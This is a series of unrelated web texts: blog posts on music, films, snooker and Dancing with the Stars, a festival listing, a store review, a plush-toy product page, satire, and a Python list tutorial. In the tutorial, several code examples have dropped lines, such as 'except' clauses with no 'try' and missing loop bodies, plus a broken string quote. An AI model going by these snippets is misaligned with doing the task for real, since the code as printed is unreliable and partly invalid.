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These shoes are made for throwin'
I personally think that Nancy Sinatra should cover her old one hit wonder with revamped, fresh lyrics that fit the times.
How I would re-write the lyrics:
You keep sayin' you've got something for us
Something you call weapons, but confess.
You've been messin' where you shouldn't have been messin'
And now someone else is givin' all their best.
These shoes are made for throwin'
And that's just what they'll do.
One of these days these shoes are gonna throw all over you.
You keep lyin' when you oughta be truthin'
And you keep losin' when you shoulda never bet.
You keep samin' when you shoulda been changin'
Now what's right is right and your gettin' what you should get.
These shoes are made for throwin'
And that's just what they'll do.
One of these days these shoes are gonna throw all over you.
You keep playin' where you shouldn't have been playin'
And you thought that you would never get burnt.
Ha! That journalist just got a brand new pair of Pradas
And what he thinks is that you have never learned.
These shoes are made for throwin'
And that's just what they'll do.
One of these days these boots are gonna throw all over you.
Are you ready shoes? Start throwin'
Hope the dude got his shoes back.
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Happy weekend everybody!
First, I completely love this WordPress snow thing so, I'm changing the design slightly for a darker background…maybe I'll go back to the old style when the snow stops falling.
Second, I feel completely out of touch that I missed this song by Rihanna until recently – "Hypnotized". Apparently it was only made available in Japan…not sure why. Sent an email to Def Jam asking how to get the song and of course they ignored me…guess they're pro-pirating.
Can leotards bend that way?
There are no words to describe this. I was going to say something like leave the dance routines to the big girls…but that somehow seems politically incorrect…so, I'm not going to say anything else except if you can watch this without cracking a smile, I need you to do my taxes this year, because that's going to be even funnier.
Wally a.k.a. Gotye
I've decided that weekends on this blog are either going to be about music or something pleasant – no bad energy.
In that spirit, I've waited far too long to write a post about Gotye.
"Aussies should pronounced Gotye as "gore-ti-yeah", using that inimitably dry and elongated sound they call an "accent"!"
My favorite song by this talented guy is "Thanks for your Time" (click the link to the left to watch the video) and I am admittedly anxious about his arrival here in the states. My guess and hope is that he becomes hugely popular here…and of course I hope that he hires my company to do any videography work that he may need when he's here…subtle underlying hint…subliminal.
**Private Note to Gotye if he ever stumbles across and reads this post**…Since I know that you may indeed be monitoring your Google moniker…yes, that was a shameless plug for my company, but only because I'm making a shameless plug for you. Cheering to the hopes that you're working on an international release slated for the good ol' USA.
You might be rhythmically challenged if…
I've always gotten a kick out of Jeff Foxworthy's "You might be a redneck if…" series. And after stumbling across "Pose" by Daddy Yankee, I decided to start my own series called, "You might be rhythmically challenged if…"
Because if you can sit still while this song is playing, it's not your fault…you just didn't get the gene. But don't you worry…I'll put it on repeat and clap on beat for you. El mejor de todos los tiempos – or at least this week on my iPod. Enjoy!
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Festa Major del Poble-Sec
Barcelona City Centre 08001 Barcelona
From July 17th-26th, the streets of Poble Sec will be overrun by partygoers for the annual Festa Major de Poble Sec. The festivities kick off on Friday 17th with a traditional parade through the main streets. The rest of the week will be jam-packed with markets, workshops, tours, live music, castellers, correfocs, parties and food.
View the complete programme of events here.
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industry suppliers
Apparel City is a small store in the SOMA district of SF, bursting at the seams with industrial machines and accessories and patternmaking tools.
I heart this store. I really do. You walk and it reeks of "garmento" (and that's a good thing!). Messy, dusty, jampacked to the rafters, every surface covered with cones of thread, rulers, and boxes of random zippers. Most of the stuff is behind the counter. Everyone who works there is awesome. This is customer service at its finest. Here is a typical visit:
AC employee: Hi, can I help you?
me: Hi. I need pattern paper. How much is on a roll?
AC: *short explanation of their offerings, paper weights, yards per roll, offerings on per yard basis, etc*
me: Great. I'll take a roll of the 150 lb. I also need a gathering foot.
AC: *shows me 2 kinds, explains the difference*
me: Great. I'll take this one. Pattern hooks?
AC: They come 12 in a bag for $x [I forget how much exactly].
me: Great. I'll take 3 bags and this thread and that's it.
AC: Your total is $X. Where's your car?
That is an example of their brilliant efficiency. It seems so simple, but let me tell, so SO rare! And then they always carry out heavy stuff like the rolls of paper to my car. The woman even offered to carry my rabbit-punch (which she tested in front of me) to my car. I mean, it's not that heavy. They're so good. Knowledgeable, quick, straightforward. I'm in love with them.
They are in San Francisco, but they also have a website if you don't live around here. Call them–they are Asian but speak English very well. They're nice but not overly chatty.
Another supplier I really like is Ron over at Ahearn Cutting. I bought my wonderful 6×8′ table from him at Lady Chickenjoy's referral and we are both pleased as punch with our tables. He's nice, even after I must have tried his patience once or twice. Give him a call. He will explain all you need to know about proformas, bills of lading, etc. Ask for a catalog too–they also sell rolling carts, teflon spray, all sorts of stuff (BUT, I can only endorse the tables since that's the only thing I bought from him.) Ahearn is based in L.A.
There is this website called allbrands.com. I refuse to even link to them, as I don't want you to go there. Their customer service team is comprised of people who don't know what they're doing. They will tell you one thing, and then accounting will step in and say that their customer service rep made a mistake but you have to pay for it anyway. Stay far, far away, I beg you. Just thinking about the dozen+ phone conversations I had with them over a 3-month span for a 3-item order gives me a headache.
On a sorta unrelated note, I just found out that Michael Levine, my favorite fabric jobber in L.A., was originally owned by my current boss's family! Small world.
happy 2008!
Here we are, 2008. Year of the Rat coming up, if I'm not mistaken. Easing back into the old routine. Until I get the energy to blog properly, read this hilarious post.


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Friday, March 19, 2010
Movie review
The only theatre showing Alice in Wonderland in 3D as well as Imax is located in the north of the Toronto while my grandkids live at the western end. To get from one to the other I needed to drive thru the city.
Toronto or the GTA as it's now being known, has a population of more than 2-1/2 million. Driving at noon Wednesday, I could have sworn that at least 4/5 of the population were on the road with me.....90% driving in big humongous trucks. I kept wondering why more people weren't at work, either in an office or a factory instead of playing chicken behind the wheel of their cars.
I got to my daughter's house early and for a while the 4 of us watched a 3 yr old show of Ice-T's rap school until I got bored and suggested we make a start. Taking our only toll road which had increased its fees yet again meant we arrived with an hour to spare.
I should have remembered what March Break (school holiday) is like, but in my defense, I haven't been to a movie theatre in years. At home, we have a wide screen, hi-def TV and movies on demand so generally I prefer to watch in the comfort of our pull-out sofa rather than a hard uncomfortable seat with some little brat behind me kicking the back of it.
We had a wonderful time looking at all the animals at a near-by pet shop until with a 1/2 hour to go, we made our way into the theatre. .....only to discover a tremendously long queue for a sold-out viewing. Thank goodness I was smart enough to have bought our tickets online 2 days earlier!
At the door everyone got their 3D glasses which unfortunately we had to give back as we exited later. Like the little kid I am at heart, I wanted to see what TV would look like with them on. Of course with so many people in line ahead of us, there weren't 4 seats together but at least all our seats were in the top of the theatre. I'd heard stories of some people being sick to their stomachs from sitting too close to the screen. Gotta say Imax is just as good as I remember but WOW! 3D sure has improved. The little girl sitting next to me kept reaching out to see if she could touch the credits as they seemed to float towards us while I kept dodging the dragons "flying out from the screen" during the trailer for another new movie. Seating is comfortable even if it did come with the traditional brat behind me and even he became engrossed with the movie sooner than my need to strangle him.
Thankfully for once I wasn't disappointed with the show. Usually there's so much hype and fluff that the actual movie comes off as not worth the effort.
I loved it! Helena Bonham Carter is a wonderful Queen of Hearts...big head & all! Johnny Depp definitely did his daughter proud. Britain's comedian Matt Lucas as Tweedledee & his twin Tweedledum is brilliant & just as funny as I've seen him on British TV shows. I loved everyone; the animations were fabulous. If I make another dormouse in a teapot, I'll have to show him as having white fur. The only thing I wasn't impressed with were those soldiers made of cards....from the way the little girl next to me grabbed hold of her mothers arm, she obviously wasn't either. Those soldiers were just too modern to suit me.
And all too soon the Queen of Hearts was banished, order restored in Wonderland and Alice having climbed out of the hole arrived back in Victorian England only a bit disheveled from her adventures. I wasn't impressed with the last bit of ending but that's only because I am too much of a history buff to realize that real Victorian girls did not sail off into the sunset. I wanted the "real" Alice to meet a Victorian gentleman who looked unmistakeably similar to the Mad Hatter from Wonderland but for that to happen I may have to wait for the sequel, "Through the Looking Glass" or maybe even the 3rd book, "What Alice Found There". OooooOh I can hardly wait....
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That movie sounds wonderful!, and well worth your car drive. You describe it so good that I can almost see the characters!ReplyDelete
Thanks so much for the review!ReplyDelete
I'm not keen on going out in public, and it has to be a really good movie to get me into a theatre. I looooooove our big screen HD tv at home.
Seems that this movie will be a rich feeding ground for mini enthusiasts!!
You're so funny--4/5 of Toronto out driving as you were trying to get there and wanting to bring your 3-D glasses home to watch TV! Hilarious! I am not a movie goer either. They are generally too expensive, too noisy in the theaters with obnoxious people talking on their phones or to their companions, etc. and I'd much prefer watching them on DVD at home. But I have promised I'll take Joanna to see this during her spring break in two weeks as we aren't getting to go to the beach this year and both brother and sister are taking trips. We are also going to wire her dollhosue! So if the entire Northeast of America's power is knocked out, you'll know why.ReplyDelete
Thanks for the review!ReplyDelete
It's not something that I would normally watch, but, I've been intrigued with all of the hype.
Good to see a good review. :)


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The list type is a container that holds a number of other objects, in a given order. The list type implements the sequence protocol, and also allows you to add and remove objects from the sequence.
Creating Lists
To create a list, put a number of expressions in square brackets:
L = [expression, …]
This construct is known as a "list display". Python also supports computed lists, called "list comprehensions". In its simplest form, a list comprehension has the following syntax:
|L = [expression for variable in sequence]
Where the expression is evaluated once, for every item in the sequence.
The expressions can be anything; you can put all kinds of objects in lists, including other lists, and multiple references to a single object.
You can also use the built-in list type object to create lists:
L = list() # empty list
L = list(sequence)
L = list(expression for variable in sequence)
The sequence can be any kind of sequence object or iterable, including tuples and generators. If you pass in another list, the list function makes a copy.
Note that Python creates a single new list every time you execute the [] expression. No more, no less. And Python never creates a new list if you assign a list to a variable.
A = B = [] # both names will point to the same list
B = A # both names will point to the same list
A = []; B = [] # independent lists
For information on how to add items to a list once you've created it, see Modifying Lists below.
Accessing Lists
Lists implement the standard sequence interface; len(L) returns the number of items in the list, L[i] returns the item at index i (the first item has index 0), and L[i:j] returns a new list, containing the objects between i and j.
n = len(L)
item = L[index]
seq = L[start:stop]
If you pass in a negative index, Python adds the length of the list to the index. L[-1] can be used to access the last item in a list.
For normal indexing, if the resulting index is outside the list, Python raises an IndexError exception. Slices are treated as boundaries instead, and the result will simply contain all items between the boundaries.
Lists also support slice steps:
seq = L[start:stop:step]
seq = L[::2] # get every other item, starting with the first
seq = L[1::2] # get every other item, starting with the second
Looping Over Lists
The for-in statement makes it easy to loop over the items in a list:
for item in L:
print item
If you need both the index and the item, use the enumerate function:
for index, item in enumerate(L):
print index, item
If you need only the index, use range and len:
for index in range(len(L)):
print index
The list object supports the iterator protocol. To explicitly create an iterator, use the built-in iter function:
i = iter(L)
item = i.next() # fetch first value
item = i.next() # fetch second value
Python provides various shortcuts for common list operations. For example, if a list contains numbers, the built-in sum function gives you the sum:
v = sum(L)
total = sum(L, subtotal)
average = float(sum(L)) / len(L)
If a list contains strings, you can combine the string into a single long string using the join string method:
|s = ".join(L)
Python also provides built-in operations to search for items, and to sort the list. These operations are described below.
Modifying Lists
The list type also allows you to assign to individual items or slices, and to delete them.
L[i] = obj
L[i:j] = sequence
Note that operations that modify the list will modify it in place. This means that if you have multiple variables that point to the same list, all variables will be updated at the same time.
# modify both lists
To create a separate list, you can use slicing or the list function to quickly create a copy:
M = L[:] # create a copy
# modify L only
You can also add items to an existing sequence. The append method adds a single item to the end of the list, the extend method adds items from another list (or any sequence) to the end, and insert inserts an item at a given index, and move the remaining items to the right.
L.insert(index, item)
To insert items from another list or sequence at some other location, use slicing syntax:
|L[index:index] = sequence
You can also remove items. The del statement can be used to remove an individual item, or to remove all items identified by a slice. The pop method removes an individual item and returns it, while remove searches for an item, and removes the first matching item from the list.
del L[i]
del L[i:j]
item = L.pop() # last item
item = L.pop(0) # first item
item = L.pop(index)
The del statement and the pop method does pretty much the same thing, except that pop returns the removed item.
Finally, the list type allows you to quickly reverse the order of the list.
Reversing is fast, so temporarily reversing the list can often speed things up if you need to remove and insert a bunch of items at the beginning of the list:
# append/insert/pop/delete at far end
Note that the for-in statement maintains an internal index, which is incremented for each loop iteration. This means that if you modify the list you're looping over, the indexes will get out of sync, and you may end up skipping over items, or process the same item multiple times. To work around this, you can loop over a copy of the list:
for object in L[:]:
if not condition:
del L[index]
Alternatively, you can use create a new list, and append to it:
out = []
for object in L:
if condition:
A common pattern is to apply a function to every item in a list, and replace the item with the return value from the function:
for index, object in enumerate(L):
L[index] = function(object)
out = []
for object in L:
The above can be better written using either the built-in map function, or as a list comprehension:
out = map(function, L)
out = [function(object) for object in L]
For straightforward function calls, the map solution is more efficient, since the function object only needs to be fetched once. For other constructs (e.g. expressions or calls to object methods), you have to use a callback or a lambda to wrap the operation; in such cases, the list comprehension is more efficient, and usually also easier to read.
Again, if you need both the item and the index, use enumerate:
|out = [function(index, object) for index, object in enumerate(L)]
You can use the list type to implement simple data structures, such as stacks and queues.
stack = []
stack.append(object) # push
object = stack.pop() # pop from end
queue = []
queue.append(object) # push
object = queue.pop(0) # pop from beginning
The list type isn't optimized for this, so this works best when the structures are small (typically a few hundred items or smaller). For larger structures, you may need a specialized data structure, such as collections.deque.
Another data structure for which a list works well in practice, as long as the structure is reasonably small, is an LRU (least-recently-used) container. The following statements moves an object to the end of the list:
If you do the above every time you access an item in the LRU list, the least recently used items will move towards the beginning of the list.
Searching Lists
The in operator can be used to check if an item is present in the list:
if value in L:
print "list contains", value
To get the index of the first matching item, use index:
|i = L.index(value)
The index method does a linear search, and stops at the first matching item. If no matching item is found, it raises a ValueError exception.
i = L.index(value)
except ValueError:
i = -1 # no match
To get the index for all matching items, you can use a loop, and pass in a start index:
i = -1
while 1:
i = L.index(value, i+1)
print "match at", i
except ValueError:
Moving the loop into a helper function makes it easier to use:
def findall(L, value, start=0):
# generator version
i = start – 1
i = L.index(value, i+1)
yield i
except ValueError:
for index in findall(L, value):
print "match at", i
To count matching items, use the count method:
|n = L.count(value)
Note that count loops over the entire list, so if you just want to check if a value is present in the list, you should use in or, where applicable, index.
To get the smallest or largest item in a list, use the built-in min and max functions:
lo = min(L)
hi = max(L)
As with sort (see below), you can pass in a key function that is used to map the list items before they are compared:
lo = min(L, key=int)
hi = max(L, key=int)
Sorting Lists
The sort method sorts a list in place.
To get a sorted copy, use the built-in sorted function:
|out = sorted(L)
An in-place sort is slightly more efficient, since Python does not have to allocate a new list to hold the result.
By default, Python's sort algorithm determines the order by comparing the objects in the list against each other. You can override this by passing in a callable object that takes two items, and returns -1 for "less than", 0 for "equal", and 1 for "greater than". The built-in cmp function is often useful for this:
def compare(a, b):
return cmp(int(a), int(b)) # compare as integers
def compare_columns(a, b):
# sort on ascending index 0, descending index 2
return cmp(a[0], b[0]) or cmp(b[2], a[2])
out = sorted(L, compare_columns)
Alternatively, you can specify a mapping between list items and search keys. If you do this, the sort algorithm will make one pass over the data to build a key array, and then sort both the key array and the list based on the keys.
out = sorted(L, key=int)
If the transform is complex, or the list is large, this can be a lot faster than using a compare function, since the items only have to be transformed once.
Python's sort is stable; the order of items that compare equal will be preserved.
Printing Lists
By default, the list type does a repr on all items, and adds brackets and commas as necessary. In other words, for built-in types, the printed list looks like the corresponding list display:
|print [1, 2, 3] # prints [1, 2, 3]
To control formatting, use the string join method, combined with either map or a list comprehension or generator expression.
print "".join(L) # if all items are strings
print ", ".join(map(str, L))
print "|".join(str(v) for v in L if v > 0)
To print a list of string fragments to a file, you can use writelines instead of write:
|sys.stdout.writelines(L) # if all items are strings
Performance Notes
The list object consists of two internal parts; one object header, and one separately allocated array of object references. The latter is reallocated as necessary.
The list has the following performance characteristics:
- The list object stores pointers to objects, not the actual objects themselves. The size of a list in memory depends on the number of objects in the list, not the size of the objects.
The time needed to get or set an individual item is constant, no matter what the size of the list is (also known as "O(1)" behaviour).
- The time needed to append an item to the list is "amortized constant"; whenever the list needs to allocate more memory, it allocates room for a few items more than it actually needs, to avoid having to reallocate on each call (this assumes that the memory allocator is fast; for huge lists, the allocation overhead may push the behaviour towards O(n*n)).
- The time needed to insert an item depends on the size of the list, or more exactly, how many items that are to the right of the inserted item (O(n)). In other words, inserting items at the end is fast, but inserting items at the beginning can be relatively slow, if the list is large.
- The time needed to remove an item is about the same as the time needed to insert an item at the same location; removing items at the end is fast, removing items at the beginning is slow.
- The time needed to reverse a list is proportional to the list size (O(n)).
- The time needed to sort a list varies; the worst case is O(n log n), but typical cases are often a lot better than that.


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This product has been discontinued by manufacturer, and while manufacturer supplies last. Order and Get it fast!
Mogugu, a mole like UMA has came out from the Fumo-Fumo cloud. They have a charm bear and white hair on their head, and likes digging in the Fumo-Fumo cloud.
They always hide in the cloud and being quiet. Their details are still unknown.
Size LL - Height Approx. 100cm
*This item is the dark brown colored mole like plush in the picture (with arrow). Light Brown color was discontinued.
What is Fumofumo-san?
Fumofumo-san is a UMA which is living on a cloud in the sky. They are gentle and like fluffy things. They always make a group to do something. Usually, a cloud is gliding in the sky slowly, but it becomes serious, it's very fast in moving. Most of their ecology is unknown. Many types of fumofumo-san has been founded. Why there are so many types in their kinds is also a mystery. Typical theory is that they are appeared by influence of a regional condition. This is why they appear only in a specific region.
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Every Day is Halloween in SoHum
Tomorrow is Halloween, at least officially, but here in Southern Humboldt County, every day feels like Halloween. Silly costumes and cheesy decorations can't compare with the scary stuff we contend with all the time here in SoHum. Here's a sample:
Black Cats I don't know why anyone would be afraid of a house-cat because of it's color, whatever it was, but we do have some black cats around here that will make your heart stop. Mountain lions are scary enough, but in our forests, black, or melanistic mountain lions are fairly common. Of the three mountain lions that have crossed my path here in Humboldt, two of them were black, nose to tail. I saw one black mountain lion while walking on BLM land in the King Range and another ran across the road as I was driving through Honeydew.
Skeletons We have more skeletons around here than we have closets to stuff them into here in Humboldt County. If you wander around the hills of SoHum long enough, eventually you're bound to discover some human remains. You might find a bloated corpse at the tide-line on the beach, a tennis shoe, with a foot still inside it sticking up out of the river bar, or a mauled and partially eaten limb abandoned by a bear in the woods. So many people go missing in Southern Humboldt every year that if you walk in the woods long enough, sooner or later you'll find one, or become one.
Ghosts We have at least two ghosts in SoHum, and they are both the ghost of chance. That is, in our small rural community, we have two candidates who are both running for Congress, and each of them has a ghost of a chance of being elected. If you believe in ghosts, you might consider voting for Andy Caffrey or Dale*. There's a scary thought. *Dale works at Shop Smart in Redway, and has officially announced his candidacy. I couldn't find his last name anywhere, but if you live here, you know who I'm talking about.
Zombies Meth eats brains, leaving in its wake, toothless, hollow-eyed, walking corpses that wander the streets in search of…money… MONEY… MUST HAVE MONEY. This mindless quest for more money has infected almost everyone in SoHum, so the streets are full of zombies, but brains are hard to come by. Frankly, if people in SoHum had more brains, they wouldn't need so much money, but try convincing a zombie of that.
Bats Nocturnal flying mammals that devour mosquitoes by the thousands are a real blessing here in SoHum. However the bats wielded by local townsfolk strike more than fear into the hearts of the poor and homeless.
Witches Humboldt County's Wiccan community is responsible for cleaning up a stretch of Highway 101 North of Redcrest, and they have their own Spiritual Perspectives show on KMUD. Around here, witches are pretty mainstream.
Pumpkin-Headed Dummies What would Halloween be without Halloween dummies made of old clothes stuffed with fall leaves, with a jack-o-lantern perched on top for a head. We have a scary, empty-headed stuffed-shirt around here all the time. We call him Blake Lehman.
Trick or Treat If you ate at Treats, you were probably tricked into it.
Bigfoot Sightings Sure, the famous Patterson-Gimlin film, regarded as the most convincing evidence of the existence of Bigfoot, was shot near Willow Creek on the other side of the county, but you can see large, hairy, odoriferous primates of unknown origin any day of the year in SoHum. On Wednesday mornings, you might just see one working on his blog.


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Israel Makes the Hormones I Need, But I Support Palestinian Liberation | them.
I am an Israeli trans woman who desperately needs Palestine to be free. I need this because I refuse to accept that the massacre of peaceful protesters in Gaza is something that my people keep doing. I need this because I understand that trans liberation and Palestinian liberation are linked.


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World Championship Day 12
Day 12 at the Crucible is usually one of the best days of the Championship and has seen some dramatic twists and turns down the years, today we find out who will be the four players that will be competing in the reshuffled one table arena from tomorrow until the winner is crowned on Monday.
Ronnie is now Evens favourite to land his fifth world crown and move ahead of John Higgins in the champions list and just one behind Ray Reardon and Steve Davis and two behind Hendry.
His display yesterday against Stuart Bingham should now have finally convinced those who thought he was only coming here to make up the numbers that they have made a huge error of judgement. He is here to win it and I think the price now reflects that. I reckon he has got better with every session and if that trend continues you can't see him needing more than the session this morning to finish poor old Ballrun off.
As he was mincing out of the arena the BBC cameras panned to Hazel who proceeded to ask possibly the dumbest question of the week to Kendo and Stevie; 'How long is it since we have seen Ronnie play as well as that?' Ken, clearly uncomfortable then reminded Hazel that he hasn't played since last season barring a hopeless display against Simon Bedford in a PTC, a match to which I am sure Hazel wasn't referring, so the logical answer to this pointless poser given that he lifted the trophy last season in what he has since described as the best he has ever played at the Crucible was 'a year', which Steve duly delivered in his trademark deadpan style.
But our Hazey wasn't done with yet, in an attempt to dig herself out of a canyonesque hole she asked 'What I mean is, is this the best Ronnie has played (pause, shuffle in seat) EVER?' Even Steve this time was knocked out of his stride completely and failed to deliver on the deadpan front with a cutting and crashingly obvious 'No', instead he quickly used diverting tactics to steer the hapless Haze away from this car crash of a conversation as they moved onto the subject of Fred Davis. A rare foray into Mike Smith territory for the BBC's steely anchorwoman, I'm sure just a temporary blip, let's just call it her blonde moment and leave it at that.
So who can stop Ronnie? Well the short answer is that on this form nobody will, perhaps as ever the only person that stands in his way is himself. But fans of his will be pleased to hear that he now reckons he's got all that bonkeroony stuff under control and that 'meltdown' or what Ali Carter referred to as 'his head falling off' will not happen and it's very much a case of carry on don't lose your head for everyone's favourite snooker fruitcake.
The work he is doing with Dr Steve Peters seems to have finally caged the inner beast and on the meltdown issue he said after the match with Ali "That won't happen again, none of those meltdowns will happen, no matter how frustrated I may be with myself out there. In the last two years I have changed a lot. I'm able not to let my chimp out."
Before World Snooker start getting the fines invoice book out, Ronnie's 'chimp' refers to an integral part of his own personal guru's mind management technique. He teaches his patients to keep the "chimp" which is what he calls the bearer of strong emotions, caged in order to direct focus to more important matters and priorities. It was obviously going to work on Ronnie all this as he's so hairy and looks a bit like a monkey anyway.
To say that the championship is a foregone conclusion however would be a little premature, as some will have been in writing off Judd Trump yesterday when he was cut adrift by a rampant Shaun Murphy and found himself 8-3 down and seemingly on the brink of going out. But last night saw him really knuckle down and battle away and he resumes this afternoon at 8-8, Shaun having to do it all over again after already perhaps feeling he had broken the naughtiest potter in snooker. That promises to be a real thriller to decide who will surely be lining up to play O'Sullivan in the semi-finals.
This morning might also produce a Crucible knee-trembler as Barry Hawkins resumes 9-7 ahead of Ding Junhui who kept in the match last night by taking the final frame of the session with a 72 break, perhaps a crucial frame when we look back on the result later. Again it is a match that Hawkins will perhaps feel he should be further ahead in, but he is ahead and he would have taken that yesterday from 3-2 down. That said, Ding is 5/4 at Betfred to win the match and I have seen many worse bets than that, he tends to be the more reliable of the two at the end of matches and has arguably had his poor patch in this one already.
The other quarter final saw Ricky Walden take a four frame lead against Michael White, who should really have won at least two of the frames he lost. He looked nervous for the first time in the tournament but now he has played a session with all those thoughts swirling around his young head hopefully he can relax a bit more and do the same to Ricky this afternoon to set up some drama for an evening session that they may have to themselves and currently looks like being something of a low key end to the Quarter Finals.
So there we go, a conclusion in all three sessions today which means that Ricky and Michael will play two consecutive this afternoon and tonight. The latest match odds with Apollobet can be found here and their outright prices are here.
Order of Play Today
Ronnie O'Sullivan 7-1 Stuart Bingham
Ding Junhui 7-13 Barry Hawkins*
Shaun Murphy 12-13 Judd Trump*
Ricky Walden 6-2 Michael White
Ronnie O'Sullivan 13-4 Stuart Bingham*
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It is interesting how the producers interpret the theme while most of the songs mentioned as Pitbull's favorite songs or his song. Some people say the theme is 'The Sexiest Night of the Year' and some say 'The Hottest Night of the Year'. While the type of the routine is mixed from Salsa, Samba to Foxtrot.
What is interesting this week is the presence of Leah Remini who fills in for Erin Andrews just for one week since Erin has another task. All I can say is : Leah Remini is superb. She is not afraid to say anything. I really mean anything. She is not afraid to say 'no one can rely just on the judges score alone, thank God' or when she hit Derek with the microphone saying : 'Cause you don't know what it feels like to get a 5 or 7, don't you ?'. I laugh hard when she said that, because until now there is nobody ever saying that to Derek, the golden boy of DWTS. I also love the way she try to cheer up all the couples with her funny and positive comments.
There is only one thing that bothers me. Can we get some competent and qualified guest judge ? Not because they want to promote their new album or single, but at least can give a very neutral comment hence encouragement for each couple. Like Ricky Martin in the previous season, who is able to encourage the couple in a positive way.
The routine perform by couple (alphabetically from the first name of the pros)
1. Allison Holker and Jonathan Bennet
His best performance ? Yes, I totally agree. Unfortunately he's been eliminated at the end of the show and I still think it's not fair. Well, what's fair in a reality show ? Finally Allison start to hold herself a little bit and thinking about her partner. And finally Jonathan came out and showed the world that he really can dance. Their jazz number is very entertaining and 8's all across the board seems very fair. But I have to say it is contradictive. It seems like the judges knew he will be eliminated, so they spent their 8 on him. We will never know the answer. At the beginning of the routine, my focus is still in Allison. But starting from the middle of the routine, he really executed the routine very well. It's really so sad to see him really happy listening to the judges comments yet he was the one who is eliminated.
2. Cheryl Burke and Antonio Sabato Jr.
Cheryl is such a small energetic lady. I love her. She has a free spirit. Never give up. Although she had a hard time during the rehearsal because her father is sick. Their routine is salsa, with Enrique Iglesias song 'Bailando' … Wow, a very interesting and sexy song, great setting and of course excellent choreography from Cheryl. And that's what we called 'Antonio is dancing'. He seems more and more comfortable with the movement especially the hip action. He seems very satisfied at the end of the routine. The combination of 7 and 8 is fair enough. Unfortunately, it's all 7's across the board. At least an 8 for the amazing choreography and Antonio's significant improvement.
3. Emma Slater and Michael Waltrip
Emma looks great in her costume. But still he's not a natural mover. This week they have Argentine Tango. I still can't see he is dancing, no matter how hard he tried. But I always admire his spirit and enthusiasm to face all the challenges. Emma is really amazing in encouraging Michael to be always positive. I think the combination of 7 and 6 is fair for them.
4. Peta Murgatroyd and Tommy Chong
This week they do the foxtrot. And as soon as the song from Earth Wind & Fire started, I can't take my eyes off of Peta. She is very gorgeous with her smile, her pink costumes, her spirit and the way she stand by Tommy. Perfect partner for Tommy. From week to week he survived and I really admire his willingness to learn and perform. Peta is amazing from the way she choreograph all the routines for Tommy and especially this foxtrot. It's beautiful.
5. Witney Carson and Alfonso Ribeiro
This week is still full of injury. Both Alfonso and Witney got injured. It is affecting their performance just a little bit, but still they execute it well. And their routine really full of dangerous lifts and spins though. They dance salsa with J-Lo song 'Booty'. Beautiful red costumes, especially on Witney. I agree with Julianne that this Alfonso-Witney team is really serious contender. Getting 39 out of 40 is fantastic.
6. Artem Chigvintsev and Lea Thompson
Artem said to Lea : 'I need amazing, great is not an option'. He focused to beat Alfonso who's on the top of the leaderboard. I feel that the song choice is not supported Artem's choreography. And the help from the troupe is distracting since the color of the costume is not match Lea and Artem costumes. I think the combination of 7 and 8 is fair for them. In fact, the judges gave them all 8's. I agree with Carrie Ann, they need to find what Lea feels great to do and not focusing on how to beat Alfonso. Lea seems not confident of herself as usual.
7. Derek Hough and Bethany Mota
Pure tango … Nothing more to say about Derek's choreography. That guy can do anything with any song. Bethany is better than the last two weeks actually. She is not a professional dancer but she executes the routine well. She slips but she continue to dance. Looking at the whole routine, I think all 8's across the board is good enough. But surprise, the judges gave them all 9's. Bethany's costume is great, but I think the hairstyle is too 'old' for her age. Although a lot of people like her hairdo. But when Carrie Ann said that she's like watching Nicole Scherzinger dance, well I think she is exaggerating. The only person that you can compare with Nicole Scherzinger is Jennifer Grey.
8. Mark Ballas and Sadie Robertson
The package they shown about the objection from Sadie's grandmother, and how Mark is really tried to accommodate it because he respect Sadie, really made me very curious what kind of choreography Mark create for their Rumba, the dance of love. Well, all I can say is Mark is a genius. Sadie looks very beautiful like a white swan. They dance sooo good until I believe that Mark is willing to give everything just to keep her in his arm. The closing is very very smart and amazing, when they sat on the floor and Mark reach out for Sadie to be close to him. I think they deserve all 9's.
9. Valentin Chmerkovskiy and Janel Parrish
First thing first, why did they pick one of the strong couple as a filler for 'you are in jeopardy' thing ? Second, that is the first time I saw Janel fall apart right after Tom Bergeron announced that they are also in jeopardy. She seems depressed and suddenly she lost her confidence while she performed. I don't need to correlate those two things. All I can say is as usual the choreography is great, Val's routine, fast and sexy. They still managed to do their routine well though. But I feel that this week she is not focus as usual dance. Maybe because of 'the jeopardy' thing. Pitbull said he didn't feel the passion in the routine. I say they always dance passionately and this routine is for TV audience consumption, not in the night club, and I think they did it with passion.
My favorite routines from the couples
1. Cheryl Burke and Antonio Sabato Jr. – Salsa / Bailando – Enrique Iglesias ft. Gente de Zona, Descemer Bueno and Sean Paul
2. Witney Carson and Alfonso Ribeiro – Salsa / Booty – Jennifer Lopez ft. Pitbull
3. Mark Ballas and Sadie Robertson – Rumba / Diamonds – Rihanna
My favorite routine from the pros
Opening number from Pitbull and the pros with the song 'Fireball' and do not forget that the number is choreograph by the one and only – Mandy Moore
Reflection from week 6
1. I will rewrite what I wrote previously. Being a positive-thinking person is not as easy as it seems. Jonathan Bennett is the perfect example for that. I can feel his disappointment but he still can smile and it is ah-ma-zing. If I put myself on his position, I really don't want to imagine how my facial expression will be, hit hard every week, getting all 8's for jazz routine and being eliminated as a closure, in front of million people watching him from all over the world. He is a survivor. On the other hand, this situation makes me think that if he can do it, then we can do it too.
2. Being competitive is good to keep your spirit up. But sometimes it will become a burden that might block your mind to be free. This week Artem stated to Lea that Alfonso is her direct competitor. The result ? Lea seems under pressure and not perform as good as usual, because maybe her mind is focused about how to perform better than Alfonso. I agree with Carrie Ann that sometimes we have to forget about it and just do the best we can.
3. Without considering all the scenarios from the producers or studio, we have to admit that this show is a high-end show. It involves a lot of talented people. Let's start from the pros, the troupe, the band, the host (which is a very important aspect of the show) until all the crew that handling lighting, make up, hairdo, costumes, equipment and so many things needed for this show. Including the producers, of course. It is amazing to see large group of people working together to deliver a live TV show where we can watch all the beautiful routines from different angles at home. This show really makes me more and more respect and appreciate the people in entertainment world.


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Five Thousand-Plus Cookies and Other Big Numbers from the Chefs for Kids Cancer Gala
Jonathan Benno shaved truffles for 20 in 150 seconds. Shane McBride brought over 100 pounds of shellfish for his guests. From All the hard-working people behind the 3rd annual Chefs for Kids Cancer gala, brought their A game.
Outside, it was cold and stormy. Inside a nondescript building near Manhattan's West Side Highway, however, a monumental party was raging. The outstanding charity Cookies for Kids Cancer, which has done an astonishing job raising money to fight pediatric cancer, was hosting its Third Annual Chefs for Kids Cancer gala. In a scene straight out of a Henry VIII banquet, over two dozen of the cities best chefs—from Shuko's Nick Kim to Bobby Flay— made dinner for several hundred guests. To get a sense of the greatness of the party, check out these stats.
Number of all-star chefs & pastry chefs: 45!
